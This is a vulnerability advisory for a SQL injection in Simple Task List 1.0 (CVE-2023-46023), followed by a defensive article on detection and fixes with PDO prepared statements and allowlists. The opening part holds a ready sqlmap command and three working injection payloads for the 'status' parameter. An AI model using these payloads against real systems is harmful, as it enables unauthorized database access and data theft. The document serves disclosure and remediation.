Simple Task List 1.0 - 'status' SQLi
# Exploit Title: Simple Task List 1.0 - 'status' SQLi
# Date: 2023-11-15
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://code-projects.org/simple-task-list-in-php-with-source-code
# Software Link: https://download-media.code-projects.org/2020/12/Simple_Task_List_In_PHP_With_Source_Code.zip
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46023
-------------------------------------------------------------------------------
# Description:
Simple Task List V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'status' parameter in the addTask.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.
Vulnerable File: /addTask.php
Parameter Name: status
# Proof of Concept:
----------------------
1. Register and login the system
2. Add a project and a task
3. Then use the sqlmap to exploit
4. sqlmap -u "http://localhost/Tasklist/addTask.php" --headers "Cookie: PHPSESSID=<php-cookie-value>" --method POST --data "name=test&status=N" -p status --risk 3 --level 5 --dbms mysql --batch --current-db
# SQLMap Response:
----------------------
---
Parameter: status (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=test&status=N'||(SELECT 0x59506356 WHERE 1189=1189 AND 7323=7323)||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: name=test&status=N'||(SELECT 0x6b786b49 WHERE 7851=7851 AND (SELECT 9569 FROM(SELECT COUNT(*),CONCAT(0x7171787171,(SELECT (ELT(9569=9569,1))),0x716b706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=test&status=N'||(SELECT 0x5669775a WHERE 4483=4483 AND (SELECT 3096 FROM (SELECT(SLEEP(5)))iFlC))||'
--- Simple Task List 1.0 — 'status' SQL Injection (CVE-2023-46023): analysis, detection, and remediation
This article explains the SQL injection vulnerability reported in Simple Task List version 1.0 (CVE‑2023‑46023). It describes why the issue is dangerous, how to identify the vulnerable code pattern, safe testing practices, and robust mitigation strategies. The goal is to help developers and defenders fix and harden their applications — not to provide exploit recipes.
Summary of the issue
Simple Task List 1.0 contained insufficient input handling for the status parameter in the addTask.php endpoint. When application code concatenates user input directly into SQL statements, an attacker can manipulate queries and extract or modify data from the database. SQL injection (SQLi) is a high-severity flaw (CWE-89) and can lead to data disclosure, privilege escalation, or full system compromise depending on privileges and environment.
| Item | Details |
|---|---|
| Product | Simple Task List v1.0 |
| Vulnerable file | /addTask.php |
| Parameter | status (POST) |
| CVE | CVE-2023-46023 |
| Common weakness | CWE-89: SQL Injection |
| Risk | High — data theft, modification, or remote code execution (in chained attacks) |
Why this is dangerous
SQL injection allows attackers to change the structure of SQL queries executed by the database. Depending on the database user permissions and application architecture, an attacker may:
- retrieve sensitive records (user credentials, PII);
- modify or delete data;
- escalate access or pivot to other systems;
- exploit database functions to execute system commands in some configurations.
Typical vulnerable pattern
Vulnerable code commonly takes user-supplied values from request variables and inserts them into SQL strings with concatenation. The following abstract example shows the pattern to avoid. This example purposefully uses a simplified pattern to illustrate risk — it does not include any attack payloads.
// Vulnerable pattern (do not use in production)
$status = $_POST['status']; // user-controlled
$name = $_POST['name'];
$sql = "INSERT INTO tasks (name, status) VALUES ('" . $name . "', '" . $status . "')";
$db->query($sql);
Explanation: The code above concatenates raw POST data into an SQL statement. If an attacker controls status or name, they can change the query meaning. This is the core dangerous pattern that leads to SQLi.
Safe coding: parameterized queries (PDO example)
The strongest mitigation is to use parameterized queries (prepared statements) so user input is never interpreted as SQL. Below is a recommended PHP example using PDO.
// Safe example using PDO prepared statements
$pdo = new PDO('mysql:host=localhost;dbname=tasklist;charset=utf8mb4', $dbUser, $dbPass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
// Basic server-side validation (see next section for allowlist)
$name = $_POST['name'] ?? '';
$status = $_POST['status'] ?? '';
$stmt = $pdo->prepare('INSERT INTO tasks (name, status) VALUES (:name, :status)');
$stmt->bindParam(':name', $name, PDO::PARAM_STR);
$stmt->bindParam(':status', $status, PDO::PARAM_STR);
$stmt->execute();
Explanation: The PDO prepare/bind/execute flow separates SQL syntax from data. The database treats bound values as data only, preventing them from altering the SQL grammar, regardless of content.
Input validation and allowlists
Where possible apply strict server-side validation before binding values. For a status field that is expected to be one of a few known values, use an allowlist:
// Example allowlist for status
$allowed = ['N', 'C', 'P']; // N = new, C = completed, P = in progress
$status = $_POST['status'] ?? '';
if (!in_array($status, $allowed, true)) {
// handle invalid input (reject or set default)
$status = 'N';
}
Explanation: Allowlisting reduces attack surface by only permitting known good values. This is especially effective for small enumerations like task status codes.
Other important mitigations
- Use least-privilege database accounts. The web application's DB user should have only necessary permissions (INSERT/SELECT/UPDATE on specific schema) and not administrative rights.
- Disable detailed error messages in production. Do not expose stack traces or raw SQL errors to end users — instead log errors to secure storage.
- Escape output for the context in which it's used (HTML, JavaScript) to prevent XSS, which can combine with SQLi in chained attacks.
- Use modern frameworks or ORMs that default to safe query building. Even then, validate and review generated SQL for risky patterns.
- Deploy web application firewall (WAF) rules to block obvious injection patterns and provide a defense-in-depth layer.
- Monitor logs and alerts for anomalous database queries, sudden large extracts, or unusual error rates.
Secure testing and responsible disclosure
If you need to verify whether an application is vulnerable, follow safe and legal practices:
- Only test systems you own or have explicit authorization to test.
- Perform testing in an isolated staging environment that mirrors production.
- Use automated scanners and security tools, but avoid destructive actions on production data.
- If you discover a vulnerability in a third-party product, follow responsible disclosure: contact the vendor privately with reproduction steps, allow time for patching, and coordinate any public disclosure.
Detection guidance for code reviewers and automated scanners
Search for patterns that appear frequently in vulnerable code:
- Direct concatenation of request data (GET/POST/COOKIE) into SQL strings.
- Use of obsolete mysql_* APIs (or any API that encourages manual escaping) rather than parameterized APIs like PDO or mysqli with prepared statements.
- SQL strings built with user input for WHERE, ORDER BY, or LIMIT clauses — these often require careful validation or different handling.
Patch recommendations for Simple Task List users
- Apply a code fix to addTask.php replacing concatenated SQL with prepared statements and strict allowlist validation for the status field.
- Review other endpoints for the same pattern — any place user input reaches SQL should be audited.
- Rotate credentials and database passwords if you believe the vulnerability was exploited in production.
- Upgrade to patched versions or apply vendor-supplied updates where available.
Conclusion and expert tips
SQL injection remains one of the most impactful web vulnerabilities. The root cause is usually simple — treating user data as code. Fixing it requires consistent use of parameterized queries, input allowlisting, minimal database privileges, and secure error handling. For maintenance:
- Make prepared statements and allowlist validation part of your code review checklist;
- Automate scanning (SAST/DAST) as part of CI/CD pipelines;
- Train developers on secure database access patterns and common pitfalls.
Addressing a vulnerability like the one in Simple Task List 1.0 is straightforward when these defensive techniques are applied consistently.